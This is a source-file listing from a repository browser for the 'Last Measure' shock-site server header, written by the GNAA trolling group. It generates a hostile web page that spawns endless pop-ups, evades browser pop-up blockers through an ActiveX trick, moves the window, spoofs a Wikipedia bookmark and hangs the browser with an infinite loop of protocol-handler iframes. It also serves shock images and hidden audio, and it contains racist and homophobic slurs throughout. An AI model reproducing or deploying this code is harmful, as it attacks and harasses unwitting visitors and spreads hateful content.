source: trollforge/lastmeasure/server/lmresource.h @ 582

Revision 582, 24.3 KB checked in by literalka, 16 months ago (diff)

sorting

  • Property svn:keywords set to Id
Line 
1/* XXX:
2 * `if_ie6 == true', should we use `showModelessDialog()'?
3 * `showModelessDialog()' was used in LastMeasure 3.4 to avoid Internet
4 *  Explorer's pop-up blockers. goat-see's comment remains, yet
5 *  `showModelessDialog()' is not used anywhere in the code.
6 */
7#include <string>
8#include <sstream>
9#include <fstream>
10#include <iostream>
11#include <streambuf>
12
13#include "lmkeywords.h"
14
15#ifndef SOFT
16static size_t imagecount = 33;
17#else
18static size_t imagecount = 13;
19#endif
20
21static size_t audiocount = 16;
22
23static char const *staticnames[] =
24{
25#ifndef SOFT
26    /* Static images - 33 */
27    "/images/awesome.jpg",    "/images/Pain4.jpg",
28    "/images/balloonboy.jpg", "/images/Pain5.jpg",
29    "/images/christmas.jpg",  "/images/Pain.jpg",
30    "/images/freak.jpg",      "/images/penisbird.gif",
31    "/images/harlequin1.jpg", "/images/pillowfight.jpg",
32    "/images/harlequin2.jpg", "/images/pooped.jpg",
33    "/images/harlequin3.jpg", "/images/rustina.jpg",
34    "/images/harlequin4.jpg", "/images/smile.jpg",
35    "/images/harlequin.jpg",  "/images/spin.gif",
36    "/images/hello.jpg",      "/images/stopracism.jpg",
37    "/images/hotblowjob.jpg", "/images/stretch.jpg",
38    "/images/kiss.jpg",       "/images/tubgirl.jpg",
39    "/images/lemonparty.jpg", "/images/Untitled.jpg",
40    "/images/loopback.jpg",   "/images/weightlifter.jpg",
41    "/images/Pain2.jpg",      "/images/zoidberg.jpg",
42    "/images/Pain3.jpg",      "/images/jar.jpg",
43    "/images/lunch.jpg",
44#else
45    /* Static soft images - 13 */
46    "/soft/christmas.jpg",    "/soft/pillowfight.jpg",
47    "/soft/eww.jpg",          "/soft/pooped.jpg",
48    "/soft/freak.jpg",        "/soft/rustina.jpg",
49    "/soft/hello.jpg",        "/soft/spin.gif",
50    "/soft/lemonparty.jpg",   "/soft/tubgirl.jpg",
51    "/soft/loopback.jpg",     "/soft/weightlifter.jpg",
52    "/soft/ouch.jpg",
53#endif
54
55    /* Static sound samples - 16 */
56    "/audio/abez2.wav",    "/audio/abez.wav",
57    "/audio/blackman.wav", "/audio/eska.wav",
58    "/audio/fury.wav",     "/audio/jesuitx1.wav",
59    "/audio/jesuitx2.wav", "/audio/jizzy.wav",
60    "/audio/kirk.wav",     "/audio/lolichan.wav",
61    "/audio/original.wav", "/audio/popeye.wav",
62    "/audio/rkz.wav",      "/audio/rucas.wav",
63    "/audio/sam.wav",      "/audio/trogg.wav",
64
65    /* <iframe> */
66    "/lm.pdf",
67    "/lm2.pdf",
68    "/jews.wmv",
69    "/gnaa.mp3",
70
71    /* Other static files */
72    "/flash/first_opener.swf",
73    "/flash/second_opener.swf",
74    "/flash/hello.swf",
75    "/flash/hey.swf",
76
77    "/LastCoffee.class",
78    "/gnaa.png",
79
80    "/favicon.ico",
81    "/robots.txt",
82
83    "/index.php",
84};
85
86typedef std::pair<std::string,std::string> Response;
87
88class Resources
89{
90public:
91    static void LoadAll()
92    {
93        for (size_t i = 0; i < NSTATICS; i++)
94        {
95            /* Skip leading / when opening local files */
96            std::ifstream t(staticnames[i] + 1);
97            m_statics[i] = std::string((std::istreambuf_iterator<char>(t)),
98                                       std::istreambuf_iterator<char>());
99        }
100    }
101
102    static Response Get(char const *resource, char const *query,
103                        char const *host, char const *agent)
104    {
105        /* Special case for server status (TODO) */
106        if (!strcmp(resource, "/server-status")
107             || !strcmp(resource, "/server-status/"))
108        {
109            return Response("SERVER STATUS UNAVAILABLE FOR NOW", "text/html");
110        }
111
112        /* Special case for static resources */
113        for (size_t i = 0; i < NSTATICS; i++)
114        {
115            if (!strcmp(resource, staticnames[i]))
116            {
117                return Response(m_statics[i], MimeType(resource));
118            }
119        }
120
121        /* Is this a pop-up? */
122        bool is_popup = (strstr(query, "popup=1") > 0);
123
124        char const *flash;
125
126        /* Is the browser IE 6 or better? */
127        char const *parser = strstr(agent, " MSIE ");
128        bool is_ie6 = parser && (atoi(parser + strlen(" MSIE ")) >= 6);
129
130        /* Sending stuff */
131        std::stringstream data("");
132
133        data <<
134
135    "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\""
136    "\"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\r\n"
137    "<html xmlns=\"http://www.w3.org/1999/xhtml\" lang=\"en\" xml:lang=\"en\">\r\n"
138
139    "  <head>\r\n"
140    "    <title>GNAA Last Measure Live!</title>\r\n"
141    "    <meta name=\"keywords\" content=\"" << Keywords(128) << "\" />\r\n"
142    "    <meta name=\"description\" content=\"" << Keywords(20) << "\" />\r\n"
143    "    <script type=\"text/javascript\">\r\n" << JavaScript(host) <<
144    "    </script>\r\n"
145    "    <link rel=\"icon\" type=\"image/x-icon\" "
146             "href=\"http://" << host << "/favicon.ico\" />\r\n"
147    "    <link rel=\"shortcut icon\" type=\"image/x-icon\" "
148             "href=\"http://" << host << "/favicon.ico\" />\r\n"
149    "    <style type=\"text/css\">\r\n"
150    "      html { height: 100%; width: 100%; overflow: hidden; }\r\n"
151    "      body { height: 100%; width: 100%; margin: 0; padding: 0; }\r\n"
152    "    </style>\r\n"
153    "  </head>\r\n"
154
155    "  <body style=\"background-image: url(http://" << host
156#ifndef SOFT
157          << RandomAsset("/images/") << "); background-color: #FFFFFF;\""
158#else
159          << RandomAsset("/soft/") << "); background-color: #FFFFFF;\""
160#endif
161    "\r\n        onload=\"bookmark(); noframes(); load_goatse(); document.goatse.reset(); movew0w(); ";
162        if (is_ie6)
163            data << "setTimeout('main()', 100); ";
164        data <<
165    "setTimeout('ruin()', 20);\"\r\n"
166    "        onmousemove=\"document.goatse.reset(); movew0w(); procreate();\"\r\n"
167    "        onkeydown=\"molish(); procreate();\"\r\n"
168    "        onunload=\"document.goatse.reset(); movew0w(); procreate();\"\r\n"
169    "        onmouseover=\"document.goatse.reset(); movew0w(); procreate();\">\r\n";
170
171        data << MoveAround(800, 600, host);
172        data << ActivateApplets();
173        if (is_ie6) /* XXX: Do these things even work in the newer versions of IE? -- Leon */
174        {
175            data << PopupBypasser(host);
176            data << DivertOnload();
177        }
178
179    data <<
180
181    "<table>\r\n"
182    "    <tr>\r\n"
183    "        <td valign=\"middle\">\r\n"
184    "            <div style=\"text-align: center;\">\r\n"
185    "                <a href=\"http://www.gnaa.eu/\"><img src=\"http://" << host << "/gnaa.png\" alt=\"GNAA\" /></a>\r\n"
186    "                <br />\r\n"
187    "                <br />\r\n";
188
189    if (is_popup)
190    {
191        flash = "second_opener.swf";
192    } else {
193        flash = "first_opener.swf";
194    }
195
196    if(!is_ie6)
197    {
198        data <<
199
200        "<object classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\" "
201        "codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0\">\r\n"
202        "    <param name=\"movie\" value=\"http://" << host << "/flash/" << flash << "\" />\r\n"
203        "    <param name=\"quality\" value=\"high\" />\r\n"
204        "</object>\r\n";
205    }
206
207    data <<
208
209    "            </div>\r\n"
210    "        </td>\r\n"
211    "    </tr>\r\n"
212    "</table>\r\n";
213
214        if (!is_popup)
215        {
216            data <<
217
218            "<div>\r\n"
219// This object plays the "hey everybody, I'm looking at gay porno!" sound
220            "<object classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\" "
221            "codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0\" width=\"1\" height=\"1\" id=\"hey\">\r\n"
222            "    <param name=\"movie\" value=\"http://" << host << "/flash/hey.swf\" />\r\n"
223            "    <param name=\"quality\" value=\"high\" />\r\n"
224            "</object>\r\n"
225            "<script type=\"text/javascript\">\r\n"
226            "<!--\r\n"
227            "var audio = new Array();\r\n"
228            "var audiocount = " << audiocount << ";\r\n";
229
230            for(size_t i = 0; i < audiocount; i++) {
231                data << "    audio[" << (i+imagecount) << "] = 'http://" << host << "" << staticnames[i+imagecount] << "';\r\n";
232            }
233
234            data <<
235
236            "for (i = 0; i < audiocount; i++) {\r\n"
237            "    setTimeout('document.getElementById(\"audio\").innerHTML += \'<embed src=\"' + audio[i] + '\" loop=\"true\" />\';', 6000 * (i/2));\r\n"
238            "}\r\n"
239            "// -->\r\n"
240            "</script>\r\n"
241            "<div id=\"audio\">\r\n"
242            "</div>\r\n"
243            "<applet code=\"LastCoffee.class\" width=\"100\" height=\"100\" codebase=\"/\" />\r\n"
244            "</div>\r\n"
245            "<div>\r\n"
246            "<iframe style=\"width: 1px; height: 1px;\" src=\"http://" << host << "/lm.pdf\"></iframe>\r\n"
247            "<iframe style=\"width: 1px; height: 1px;\" src=\"http://" << host << "/lm2.pdf\"></iframe>\r\n"
248            "<iframe style=\"width: 1px; height: 1px;\" src=\"http://" << host << "/jews.wmv\"></iframe>\r\n"
249            "<iframe style=\"width: 1px; height: 1px;\" src=\"http://" << host << "/gnaa.mp3\"></iframe>\r\n"
250            "<br />\r\n" << Keywords(128) << "</div>\r\n";
251        }
252
253    data << "  </body>\r\n";
254/* XXX: We should just LM them here, right? -- Leon */
255        data << "<html><body><p>You are asking for "
256             << resource << ". You could also ask for <a href=\"http://"
257             << host << "/" << rand()
258             << "\">something else</a>.</p>"
259#ifndef SOFT
260             << "<img src=\"http://" << host << "" << RandomAsset("/images/") << "\" />"
261#else
262             << "<img src=\"http://" << host << "" << RandomAsset("/soft/") << "\" />"
263#endif
264             << "</body></html>";
265        return Response(data.str(), "text/html");
266    }
267
268    static std::string Keywords(size_t count)
269    {
270        std::stringstream ret("");
271
272        for (size_t i = 0; i < count; i++)
273        {
274            if (i)
275                ret << ", ";
276            ret << keywords[rand() % (sizeof(keywords) / sizeof(*keywords))];
277        }
278
279        return ret.str();
280    }
281
282    static std::string JavaScript(char const *host)
283    {
284        std::stringstream ret("");
285
286        ret <<
287/*
288 * Let's figure out what the fuck kind of browser the poor plebes are using. :(
289 *  MSIE gets a special kind of Last Measure where I start off with a
290 *  `ModelessDialog' and pop up from it.
291 *  Gets around Google Toolbar.
292 *              -- goat-see
293 */
294 "var nom = navigator.appName.toLowerCase();\r\n"
295 "var agt = navigator.userAgent.toLowerCase();\r\n"
296 "var is_major  = parseInt(navigator.appVersion);\r\n"
297 "var is_minor  = parseFloat(navigator.appVersion);\r\n"
298 "var is_ie     = (agt.indexOf('msie') != -1);\r\n"
299 "var is_ie4up  = (is_ie && (is_major >= 4));\r\n"
300 "var is_nav    = (nom.indexOf('netscape')!=-1);\r\n"
301 "var is_nav4   = (is_nav && (is_major == 4));\r\n"
302 "var is_mac    = (agt.indexOf('mac')!=-1);\r\n"
303 "var is_gecko  = (agt.indexOf('gecko') != -1);\r\n"
304
305 //  GECKO REVISION
306 "var is_rev = 0;\r\n"
307
308 "if (is_gecko) {\r\n"
309 "    temp = agt.split('rv:');\r\n"
310 "    is_rev = parseFloat(temp[1]);\r\n"
311 "}\r\n"
312
313 "function bookmark() {\r\n"
314 //"      if (is_ie4up) {"
315 "    window.external.AddFavorite(self.location.href, 'Wikipedia, the free encyclopedia');\r\n"
316 //"      }"
317 "}\r\n"
318
319 "function molish() {\r\n"
320 "    credits = \"LAST MEASURE UNIFIED X-2, by LiteralKa and sam.\\n\";\r\n"
321 "    credits += \"Starring:\\n\";\r\n"
322 "    credits += \"Balloon Boy, Huge_Midget's \\"Pain Series\\", Kevin Klerck (spin.gif), Kirk Johnson,\\n\";\r\n"
323 "    credits += \"Lemonparty, Loopback, Penisbird, Pillowfight, Rusty's Wife, The Harlequin Fetus,\\n\";\r\n"
324 "    credits += \"The Shitfaced Lady, Tubgirl, and much, much more!\\n\";\r\n"
325 "    credits += \"\\n\\n\";\r\n"
326 "    credits += \"Multiple \\"HEY EVERYBODY...\\" clips by abez, blackman, eska, fury, JesuitX, JiZZy,\\n\";\r\n"
327 "    credits += \"kirk, lolichan, \\"original\\", popeye, rkz, Rucas, sam, and trogg.\\n\";\r\n"
328 "    credits += \"\\n\\n\";\r\n"
329 "    credits += \"Pop-up blocker evasion technology by Armorfist, goat-see, and LiteralKa.\\n\";\r\n"
330 "    credits += \"hey.swf by rkz.\\n\";\r\n"
331 "    credits += \"IFRAMEd protocol ruin by incog and LiteralKa.\\n\";\r\n"
332 "    credits += \"LastCoffee by abez and Dessimat0r.\\n\";\r\n"
333 "    credits += \"lmserver by sam and LiteralKa.\\n\";\r\n"
334 "    credits += \"PDF Ruin by JacksonBrown and Jmax.\\n\";\r\n"
335 "    credits += \"Stats Measure by Jmax and timecop.\\n\";\r\n"
336 "    credits += \"\\n\\n\";\r\n"
337 "    credits += \"Updated by abortion, JacksonBrown, Rolloffle, timecop, weev, and others.\\n\";\r\n"
338 "    credits += \"Previous versions were lead by goat-see (pi), Jmax, Penisbird, Rucas, sam, and Zeikfried.\\n\";\r\n"
339 "    credits += \"Proudly brought to you by the Gay Nigger Association of America.\\n\";\r\n"
340
341 "    switch(event.keyCode) {\r\n"
342 "        case 46:\r\n" // DEL
343 "        case 63272:\r\n" // DEL on the fucked-up Safari browser
344 "            alert(credits);\r\n"
345 "            break;\r\n"
346 "        case 17:\r\n" // CTRL [Or the Apple "CMD", only detected by Opera] NOTE: Opera Mac gives keyCode '0'
347 "        case 18:\r\n" // ALT
348 //"    case 81:" // W (As in "CTRL+W")
349 //"    case 87:" // Q (As in "CTRL+Q")
350 "        case 115:\r\n" // F4
351 "            alert(\"Our lawyer has informed us that we need a warning. So, if "
352                     "you are under the age of 18 or find this offensive, "
353                     "please leave immediately\");\r\n"
354 "            break;\r\n"
355 "    }\r\n"
356 "}\r\n"
357/* XXX Does click() even work? */
358 "function click() {\r\n"
359 "    if(event.which == 3 || event.button == 2) {\r\n"
360 "        return false;\r\n"
361 "    }\r\n"
362 "}\r\n"
363
364 "function procreate() {\r\n"
365 "    for(i = 0; i < 16; i++) {\r\n"
366 "        popUp(\"index.php?popup=1\");\r\n"
367 "    }\r\n"
368 "}\r\n"
369
370 "function popUp(URL) {\r\n"
371 "    day = new Date();\r\n"
372 "    id = day.getTime();\r\n"
373 "    eval(\"page\" + id + \" = window.open(URL, '_blank', 'toolbar=0,scrollbars=0,location=1,statusbar=0,menubar=0,resizable=0,width=640,height=583');\");\r\n"
374 "}\r\n"
375
376 "goatseflash  = \"<div id='hello' style='z-index: 50; position: fixed; top: 0px; left: 0px; width: 100%; height: 100%;'>\";\r\n"
377 "goatseflash += \"  <object classid='clsid:D27CDB6E-AE6D-11cf-96B8-444553540000' codebase='http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0' width='100%' height='100%'>\";\r\n"
378 "goatseflash += \"    <param name='movie' value='http://" << host << "/flash/hello.swf' />\";\r\n"
379 "goatseflash += \"    <param name='wmode' value='transparent' />\";\r\n"
380 "goatseflash += \"  </object>\";\r\n"
381 "goatseflash += \"</div>\";\r\n"
382
383 "function load_goatse() {\r\n"
384 "    document.body.innerHTML += goatseflash;\r\n"
385 "    setTimeout(\"unload_goatse()\", 3000);\r\n" // 3s
386 "}\r\n"
387
388 "function unload_goatse() {\r\n"
389 "    document.getElementById(\"hello\").style.display = 'none';\r\n"
390 "}\r\n"
391
392 "function noframes() {\r\n"
393 "    if (top.location.hostname != location.hostname)\r\n"
394 "        top.location.href = window.location.href;\r\n"
395 "}\r\n"
396
397 "var protos = [\r\n"
398 "        \"irc://irc.gnaa.eu/gnaa\",\r\n"
399 "        \"irc://irc.freenode.net/freenode?msg=THIS%20CHANNEL%20HAS%20MOVED%20TO%20IRC.HARDCHATS.COM%20#GNAA\",\r\n"
400 //"        \"irc://irc.freenode.net/wikipedia-en?msg=THIS%20CHANNEL%20HAS%20MOVED%20TO%20IRC.HARDCHATS.COM%20#GNAA\",\r\n"
401 "        \"news:alt.flame.niggers\",\r\n"
402 "        \"news:alt.flame.faggots\",\r\n"
403 "        \"mailto:JOIN@THE.GNAA?subject=2012_RECRUITMENT_DRIVE&body=www.gnaa.eu\",\r\n"
404 "        \"callto://JOIN_THE_GNAA__2012_RECRUITMENT_DRIVE\",\r\n"
405 "        \"rlogin://1.1.1.1:80\",\r\n"
406 "        \"telnet://1.1.1.1:80\",\r\n"
407 "        \"mailto:JOIN@THE.GNAA?subject=2012_RECRUITMENT_DRIVE&body=www.gnaa.eu\",\r\n"
408 "        \"ed2k://|file|Gayniggers From Outer Space [GNAA Digitally Remastered].avi|134174720|F8AF9D8A7091CD7A7B8968C9EB397C02|/\",\r\n"
409 "        \"aim:addbuddy?listofscreennames=HY,LOL,HY,LOL,HY,LOL,join,the,GNAA,2012,RECRUITMENT,DRIVE,heartiez2incog,cpurape vo.1 - lncog&groupname=GNAA\",\r\n"
410 "        \"aim:goaway?message=ARE+YOU+GAY%3F+ARE+YOU+A+NIGGER%3F+ARE+YOU+A+GAY+NIGGER%3F\",\r\n"
411 "        \"aim:goim?screenname=bluexox5&message=dont+fuck+with+the+GNAA\"\r\n"
412 "        \"magnet:?xt=urn:btih:4424ecbc11bf0238e36cf2412b248e0c2339c663&dn=Gayniggers.From.Outer.Space.Digitally.Remastered.XviD-NoGrp"
413 "&tr=udp://tracker.openbittorrent.com:80&tr=udp://tracker.publicbt.com:80&tr=udp://tracker.ccc.de:80\",\r\n"
414 "        ];\r\n"
415
416 "function add(str) {\r\n"
417 "    div = document.getElementById('goatse');\r\n"
418 "    div.innerHTML = '<iframe style=\"width: 1; height: 1;\" src=\"' + str + '\"></iframe>';\r\n"
419 "}\r\n"
420
421 "function ruin() {\r\n"
422 "    document.body.innerHTML += '<div id=\"goatse\">yes hello</div>';\r\n"
423 "    while (1) {\r\n"
424 "        for (i = 0; i < protos.length; i++) {\r\n"
425 "            add(protos[i]);\r\n"
426 "        }\r\n"
427 "    }\r\n"
428 "}\r\n";
429
430        return ret.str();
431    }
432
433    static char const *MimeType(char const *resource)
434    {
435        static char const *assoc[] =
436        {
437            ".png", "image/png",
438            ".jpg", "image/jpeg",
439            ".jpeg", "image/jpeg",
440            ".gif", "image/gif",
441            ".wav", "audio/x-wav",
442            ".mp3", "audio/mpeg",
443            ".swf", "application/x-shockwave-flash",
444            ".pdf", "application/pdf",
445            ".wmv", "video/x-ms-wmv",
446            ".class", "application/java-vm",
447            ".ico", "image/x-icon",
448            ".txt", "text/plain",
449        };
450
451        for (size_t i = 0; i < sizeof(assoc) / sizeof(*assoc); i += 2)
452        {
453            char const *suffix = assoc[i], *test;
454            if ((test = strstr(resource, suffix)) && !test[strlen(suffix)])
455                return assoc[i + 1];
456        }
457
458        return "text/plain";
459    }
460
461    static std::string RandomAsset(char const *prefix)
462    {
463        size_t prefixlen = strlen(prefix);
464
465        for (size_t i = 0; i < 32; i++) // XXX Why 32?
466        {
467            char const *name = staticnames[rand() % NSTATICS];
468            if (!strncmp(name, prefix, prefixlen))
469                return name;
470        }
471
472        return "/";
473    }
474
475    static std::string MoveAround(size_t width, size_t height, char const *host)
476    {
477        std::stringstream ret("");
478
479        ret <<
480
481        "<script type=\"text/javascript\">\r\n"
482        "<!--\r\n"
483        "    var images = new Array();\r\n"
484        "    var imagecount = " << imagecount << ";\r\n";
485
486        for(size_t i = 0; i < imagecount; i++)
487        {
488            ret << "    images[" << i << "] = 'http://" << host << "" << staticnames[i] << "';\r\n";
489        }
490
491        ret <<
492        "var delay = 10;\r\n"
493        "var step = .2;\r\n"
494        "var curstep = 0;\r\n"
495
496        "window.resizeTo(" << width << ", " << height << ");\r\n"
497        "var centerX = (self.screen.width - document.body.clientWidth) / 2;\r\n"
498        "var centerY = (self.screen.height - document.body.clientHeight - 120) / 2;\r\n"
499        "movew0w();\r\n"
500
501        "function movew0w() {\r\n"
502        "    var j;\r\n"
503        "    for (j = 0; j < 5; j++) {\r\n"
504        "        curstep += step / 5;\r\n"
505        "        var factorX = Math.sin(curstep * 6.1) * 0.9;\r\n"
506        "        var factorY = Math.cos(curstep * 3.7) * 0.9;\r\n"
507       
508        "        factorX += 0.2 * Math.sin((20*Math.sin(curstep/20))+j*70)\r\n"
509        "                    * (Math.sin(10+curstep/(10+j))+0.2)\r\n"
510        "                    * Math.cos((curstep + j*25)/10);\r\n"
511        "        factorY += 0.2 * Math.cos((20*Math.sin(curstep/(20+j)))+j*70)\r\n"
512        "                       * (Math.sin(10+curstep/10)+0.2)\r\n"
513        "                       * Math.cos((curstep + j*25)/10);\r\n"
514        "        self.moveTo(centerX * (1.0 + factorX), centerY * (1.0 + factorY));\r\n"
515        "    }\r\n"
516
517        "    document.body.background = images[(Math.floor(curstep) % imagecount) + 1];\r\n"
518        "    setTimeout(\"movew0w()\", delay);\r\n"
519        "}\r\n"
520        "// -->\r\n"
521        "</script>\r\n";
522
523        return ret.str();
524    }
525
526    static std::string ActivateApplets()
527    {
528        std::stringstream ret("");
529
530        ret <<
531
532        "<div>\r\n"
533        "    <object id=\"x\" classid=\"clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A\" height=\"1\" width=\"1\">\r\n"
534        "        <param name=\"ActivateApplets\" value=\"1\" />\r\n"
535        "        <param name=\"ActivateActiveXControls\" value=\"1\" />\r\n"
536        "    </object>\r\n"
537        "</div>\r\n";
538
539        return ret.str();
540    }
541
542/*  This chunk bypasses pop-ups */
543    static std::string PopupBypasser(char const *host)
544    {
545        std::stringstream ret("");
546
547        ret <<
548
549        "<script type=\"text/javascript\">\r\n"
550        "<!--\r\n"
551        "    function shellscript() {\r\n"
552        "        for(i = 0; i < 5; i++) {\r\n"
553        "            open('http://" << host << "/index.php?popup=1','_blank','scrollbar=no');\r\n"
554        "        }\r\n"
555        "    }\r\n"
556
557        "    function main() {\r\n"
558        "        x.DOM.Script.execScript(shellscript.toString());\r\n"
559        "        x.DOM.Script.setTimeout(\"shellscript()\");\r\n"
560        "        setTimeout(\"main()\", 200);\r\n"
561        "    }\r\n"
562        "// -->\r\n"
563        "</script>\r\n";
564
565        return ret.str();
566    }
567
568    static std::string DivertOnload()
569    {
570        std::stringstream ret("");
571
572        ret <<
573
574        "<script type=\"text/javascript\">\r\n"
575        "<!--\r\n"
576        "    var SymRealOnLoad;\r\n"
577        "    var SymRealOnUnload;\r\n"
578        "    var SymRealWinOpen;\r\n"
579
580        "    function SymOnUnload() {\r\n"
581        "        window.open = SymWinOpen;\r\n"
582        "        if(SymRealOnUnload != null)\r\n"
583        "            SymRealOnUnload();\r\n"
584        "    }\r\n"
585
586        "    function SymOnLoad() {\r\n"
587        "        if(SymRealOnLoad != null)\r\n"
588        "            SymRealOnLoad();\r\n"
589        "        window.open = SymRealWinOpen;\r\n"
590        "        SymRealOnUnload = window.onUnload;\r\n"
591        "        window.onUnload = SymOnUnload;\r\n"
592        "    }\r\n"
593
594        "    SymRealOnLoad = window.onLoad;\r\n"
595        "    window.onLoad = SymOnLoad;\r\n"
596        "// -->\r\n"
597        "</script>\r\n";
598
599        return ret.str();
600    }
601
602    static std::string PopUnder(char const *host)
603    {
604        std::stringstream ret("");
605
606        ret <<
607
608        "var rapeVictim = false;\r\n"
609
610        "function popunder(url) {\r\n"
611        "    if (rapeVictim === true) {\r\n"
612        "        return true;\r\n"
613        "    }\r\n"
614
615        "    var daWindow = window.open(url, \"ljPu\", \"toolbar,status,resizable,scrollbars,menubar,location,height=780,width=1024\");\r\n"
616        "    window.setTimeout(window.focus, 500);\r\n"
617
618        "    if (daWindow) {\r\n"
619        "        daWindow.blur();\r\n"
620        "        rapeVictim = true;\r\n"
621        "    }\r\n"
622
623        "    return daWindow;\r\n"
624        "}\r\n"
625
626        "function doPopUnder() {\r\n"
627        "    var win = popunder('http://" << host << "/');\r\n"
628        "    return true;\r\n"
629        "}\r\n";
630
631        return ret.str();
632    }
633
634/* XXX: Does not work yet.
635 * 06:45:51 <incog> http://stackoverflow.com/questions/1203082/injecting-text-when-content-is-copied-from-web-page
636 * 06:46:19 <incog> stealing the js from this will allo LM to inject whatever it wants into the victims clipboards
637 * 06:47:09 <incog> from ascii art goatse, to more LM urls
638 * 06:47:31 <incog> to a js that generates a random string so big it eats all the ram
639 */
640    static std::string Tynt()
641    {
642        static char const *prefix = "prefix";
643        static char const *suffix = "suffix";
644
645        std::stringstream ret("");
646
647        ret <<
648
649        "<script type=\"text/javascript\">\r\n"
650        "    if(document.location.protocol=='http:'){\r\n"
651        "        var Tynt=Tynt||[];Tynt.push('buPVQ-pnyr4zddacwqm_6l');Tynt.i={\"ap\":\"" << prefix << "\",\"as\":\"" << suffix << "\",\"c\":false,\"t\":true};\r\n"
652        "        (function(){\r\n"
653        "            var s=document.createElement('script');s.async=\"async\";s.type=\"text/javascript\";s.src='http://tcr.tynt.com/ti.js';\r\n"
654        "            var h=document.getElementsByTagName('script')[0];h.parentNode.insertBefore(s,h);})();\r\n"
655        "    }\r\n"
656        "</script>\r\n";
657
658/*
659        "<script type=\"text/javascript\">\r\n"
660        "    tyntVariables = {\"ap\":\"" << prefix << "\",\"as\":\"" << suffix << "\"};\r\n"
661        "</script>\r\n"
662
663        "<script type=\"text/javascript\" src=\"http://tcr.tynt.com/javascripts/Tracer.js?user=aDjyve6yar3BZFab7jrHcU&amp;s=1&amp;st=1&amp;lang=en\"></script>\r\n";
664*/
665
666        return ret.str();
667    }
668
669
670private:
671    static const size_t NSTATICS = sizeof(staticnames) / sizeof(*staticnames);
672    static std::string m_statics[NSTATICS];
673};
674
675std::string Resources::m_statics[NSTATICS];
676
Note: See TracBrowser for help on using the repository browser.